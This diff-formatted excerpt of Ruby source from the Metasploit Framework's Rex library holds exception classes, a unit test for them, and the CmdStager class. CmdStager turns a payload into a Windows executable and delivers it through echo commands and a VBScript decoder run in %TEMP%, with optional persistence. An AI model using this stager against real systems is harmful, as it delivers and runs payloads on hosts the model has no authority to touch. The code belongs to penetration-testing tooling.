include HostCommunicationError
|
|
229
|
+
|
|
230
|
+
def to_s
|
|
231
|
+
"The address is already in use #{addr_to_s}."
|
|
232
|
+
end
|
|
233
|
+
end
|
|
234
|
+
|
|
235
|
+
###
|
|
236
|
+
#
|
|
237
|
+
# This exception is raised when an unsupported internet protocol is specified.
|
|
238
|
+
#
|
|
239
|
+
###
|
|
240
|
+
class UnsupportedProtocol < ::ArgumentError
|
|
241
|
+
include SocketError
|
|
242
|
+
|
|
243
|
+
def initialize(proto = nil)
|
|
244
|
+
self.proto = proto
|
|
245
|
+
end
|
|
246
|
+
|
|
247
|
+
def to_s
|
|
248
|
+
"The protocol #{proto} is not supported."
|
|
249
|
+
end
|
|
250
|
+
|
|
251
|
+
attr_accessor :proto
|
|
252
|
+
end
|
|
253
|
+
|
|
254
|
+
|
|
255
|
+
###
|
|
256
|
+
#
|
|
257
|
+
# This exception is raised when a proxy fails to pass a connection
|
|
258
|
+
#
|
|
259
|
+
###
|
|
260
|
+
class ConnectionProxyError < ConnectionError
|
|
261
|
+
def initialize(host,port,ptype,reason)
|
|
262
|
+
super(host,port)
|
|
263
|
+
self.ptype = ptype
|
|
264
|
+
self.reason = reason
|
|
265
|
+
end
|
|
266
|
+
|
|
267
|
+
def to_s
|
|
268
|
+
self.ptype + ": " + self.reason
|
|
269
|
+
end
|
|
270
|
+
|
|
271
|
+
attr_accessor :ptype, :reason
|
|
272
|
+
end
|
|
273
|
+
|
|
274
|
+
end
|
|
275
|
+
|
|
@@ -0,0 +1,44 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
|
|
3
|
+
$:.unshift(File.join(File.dirname(__FILE__), '..'))
|
|
4
|
+
|
|
5
|
+
require 'test/unit'
|
|
6
|
+
require 'rex/exceptions'
|
|
7
|
+
|
|
8
|
+
module Rex
|
|
9
|
+
module Exceptions
|
|
10
|
+
|
|
11
|
+
class UnitTest < Test::Unit::TestCase
|
|
12
|
+
|
|
13
|
+
def test_exceptions
|
|
14
|
+
Rex.constants.each { |const|
|
|
15
|
+
mod = Rex.const_get(const)
|
|
16
|
+
|
|
17
|
+
if ((mod.kind_of?(Class) == false) ||
|
|
18
|
+
(mod.ancestors.include?(Rex::Exception) == false))
|
|
19
|
+
next
|
|
20
|
+
end
|
|
21
|
+
|
|
22
|
+
begin
|
|
23
|
+
raise mod.new
|
|
24
|
+
rescue ::ArgumentError
|
|
25
|
+
rescue mod => detail
|
|
26
|
+
assert_respond_to(detail, 'to_s', "#{mod} does not implement to_s")
|
|
27
|
+
assert_not_nil(detail.to_s, "invalid to_s")
|
|
28
|
+
end
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
# Test communication error detail strings
|
|
32
|
+
begin
|
|
33
|
+
raise ConnectionRefused.new('127.0.0.1', 4444)
|
|
34
|
+
rescue HostCommunicationError => detail
|
|
35
|
+
assert_match(/^The connection(.*)\(127.0.0.1:4444\)/, detail.to_s)
|
|
36
|
+
assert_equal('127.0.0.1', detail.host)
|
|
37
|
+
assert_equal(4444, detail.port)
|
|
38
|
+
end
|
|
39
|
+
end
|
|
40
|
+
|
|
41
|
+
end
|
|
42
|
+
|
|
43
|
+
end
|
|
44
|
+
end
|
|
@@ -0,0 +1,133 @@
|
|
|
1
|
+
require 'rex/text'
|
|
2
|
+
require 'rex/arch'
|
|
3
|
+
require 'msf/core/framework'
|
|
4
|
+
|
|
5
|
+
module Rex
|
|
6
|
+
module Exploitation
|
|
7
|
+
|
|
8
|
+
###
|
|
9
|
+
#
|
|
10
|
+
# This class provides an interface to generating cmdstagers.
|
|
11
|
+
#
|
|
12
|
+
###
|
|
13
|
+
|
|
14
|
+
class CmdStager
|
|
15
|
+
|
|
16
|
+
def initialize(code, framework, platform, arch = nil)
|
|
17
|
+
@var_decoder = Rex::Text.rand_text_alpha(5)
|
|
18
|
+
@var_encoded = Rex::Text.rand_text_alpha(5)
|
|
19
|
+
@var_batch = Rex::Text.rand_text_alpha(5)
|
|
20
|
+
@decoder = File.join(Msf::Config.install_root, "data", "exploits", "cmdstager", "decoder_stub") # need error checking here
|
|
21
|
+
@framework = framework
|
|
22
|
+
@linelen = 2047 # covers most likely cases
|
|
23
|
+
|
|
24
|
+
# XXX: TODO: support multipl architectures/platforms
|
|
25
|
+
@exe = Msf::Util::EXE.to_win32pe(@framework, code)
|
|
26
|
+
end
|
|
27
|
+
|
|
28
|
+
|
|
29
|
+
#
|
|
30
|
+
# Generates the cmd payload including the h2bv2 decoder and encoded payload.
|
|
31
|
+
# The resulting commands also perform cleanup, removing any left over files
|
|
32
|
+
#
|
|
33
|
+
def generate(opts = {}, linelen = 200)
|
|
34
|
+
@linelen = linelen
|
|
35
|
+
|
|
36
|
+
# Return the output from payload_exe
|
|
37
|
+
payload_exe(opts)
|
|
38
|
+
end
|
|
39
|
+
|
|
40
|
+
|
|
41
|
+
#
|
|
42
|
+
# This does the work of actually building an array of commands that
|
|
43
|
+
# when executed will create and run an executable payload.
|
|
44
|
+
#
|
|
45
|
+
def payload_exe(opts)
|
|
46
|
+
|
|
47
|
+
persist = opts[:persist]
|
|
48
|
+
|
|
49
|
+
# Initialize an arry of commands to execute
|
|
50
|
+
cmds = []
|
|
51
|
+
|
|
52
|
+
# Add the exe building commands (write to .b64)
|
|
53
|
+
cmds += encode_payload()
|
|
54
|
+
|
|
55
|
+
# Add the decoder script building commands
|
|
56
|
+
cmds += generate_decoder()
|
|
57
|
+
|
|
58
|
+
# Make it all happen
|
|
59
|
+
cmds << "cscript //nologo %TEMP%\\#{@var_decoder}.vbs"
|
|
60
|
+
|
|
61
|
+
# If we're not persisting, clean up afterwards
|
|
62
|
+
if (not persist)
|
|
63
|
+
cmds << "del %TEMP%\\#{@var_decoder}.vbs"
|
|
64
|
+
cmds << "del %TEMP%\\#{@var_encoded}.b64"
|
|
65
|
+
end
|
|
66
|
+
|
|
67
|
+
# Compress commands into as few lines as possible.
|
|
68
|
+
new_cmds = []
|
|
69
|
+
line = ''
|
|
70
|
+
cmds.each { |cmd|
|
|
71
|
+
# If this command will fit...
|
|
72
|
+
if ((line.length + cmd.length + 4) < @linelen)
|
|
73
|
+
line << " & " if line.length > 0
|
|
74
|
+
line << cmd
|
|
75
|
+
else
|
|
76
|
+
# It won't fit.. If we don't have something error out
|
|
77
|
+
if (line.length < 1)
|
|
78
|
+
raise RuntimeError, 'Line fit problem -- file a bug'
|
|
79
|
+
end
|
|
80
|
+
# If it won't fit even after emptying the current line, error out..
|
|
81
|
+
if (cmd.length > @linelen)
|
|
82
|
+
raise RuntimeError, 'Line too long - %d bytes' % cmd.length
|
|
83
|
+
end
|
|
84
|
+
new_cmds << line
|
|
85
|
+
line = ''
|
|
86
|
+
line << cmd
|
|
87
|
+
end
|
|
88
|
+
}
|
|
89
|
+
new_cmds << line if (line.length > 0)
|
|
90
|
+
|
|
91
|
+
# Return the final array.
|
|
92
|
+
new_cmds
|
|
93
|
+
end
|
|
94
|
+
|
|
95
|
+
|
|
96
|
+
def generate_decoder()
|
|
97
|
+
# Read the decoder data file
|
|
98
|
+
f = File.new(@decoder, "rb")
|
|
99
|
+
decoder = f.read(f.stat.size)
|
|
100
|
+
f.close
|
|
101
|
+
|
|
102
|
+
# Replace variables
|
|
103
|
+
decoder.gsub!(/decode_stub/, "%TEMP%\\#{@var_decoder}.vbs")
|
|
104
|
+
decoder.gsub!(/ENCODED/, "%TEMP%\\#{@var_encoded}.b64")
|
|
105
|
+
decoder.gsub!(/DECODED/, "%TEMP%\\#{@var_batch}.exe")
|
|
106
|
+
|
|
107
|
+
# Split it apart by the lines
|
|
108
|
+
decoder.split("\n")
|
|
109
|
+
end
|
|
110
|
+
|
|
111
|
+
|
|
112
|
+
def encode_payload()
|
|
113
|
+
tmp = Rex::Text.encode_base64(@exe)
|
|
114
|
+
orig = tmp.dup
|
|
115
|
+
|
|
116
|
+
cmds = []
|
|
117
|
+
l_start = "echo "
|
|
118
|
+
l_end = ">>%TEMP%\\#{@var_encoded}.b64"
|
|
119
|
+
xtra_len = l_start.length + @var_encoded.length + l_end.length + 1
|
|
120
|
+
while (tmp.length > 0)
|
|
121
|
+
cmd = ''
|
|
122
|
+
cmd << l_start
|
|
123
|
+
cmd << tmp.slice!(0, (@linelen - xtra_len))
|
|
124
|
+
cmd << l_end
|
|
125
|
+
cmds << cmd
|
|
126
|
+
end
|
|
127
|
+
|
|
128
|
+
cmds
|
|
129
|
+
end
|
|
130
|
+
|
|
131
|
+
end
|
|
132
|
+
end
|
|
133
|
+
end
|